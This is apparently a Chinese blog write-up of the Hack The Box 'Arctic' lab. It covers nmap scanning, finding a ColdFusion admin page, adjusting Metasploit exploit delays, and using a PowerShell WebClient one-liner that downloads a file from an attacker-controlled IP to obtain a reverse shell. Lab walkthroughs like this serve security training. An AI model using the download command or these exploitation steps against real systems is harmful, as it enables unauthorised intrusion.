HTB-Arctic

信息收集

经过nmap扫描后只发现了如下信息。

并且在这几个端口中有一个fmtp服务有点区别，去浏览器看看呢，加载有点慢。

在CFIDE里看到了Administrator文件。

加载完后出现ColdFusion登陆界面。

目前收集到的信息就这么多。

开机

先去exploit-db看看

再去msf看看

先试试两个excellent的，第一个因为未知原因上传失败,猜测可能是延时问题导致失败，修改时间后任然失败，换下一个。

这一个也是失败，考虑是延时，去源代码修改延时。


把这两个5修改大一点。


修改完保存后回到msf，先执行reload重载payload，再运行。

想要提权的时候发现此任务无法切换至后台，那就搜集些信息弄个踏板。

先找到CFIDE所在位置，一眼看到wwwroot，然后生成……为什么我不直接生成.exe呢，都到wwwroot了就在这里接收算了。

powershell "(new-object System.Net.WebClient).Downloadfile('http://IP/文件名', '文件名')"

获取了反弹shell后使用suggester会出现报错说用户中断了，然而我啥也没操作。

怀疑可能是这个反弹shell是32位而目标是64位，换！

64位也是如此，我照样也没有操作，也报错说用户中断操作了，行吧。
只能求助攻略了。（请原谅博主太笨，不知道解决办法）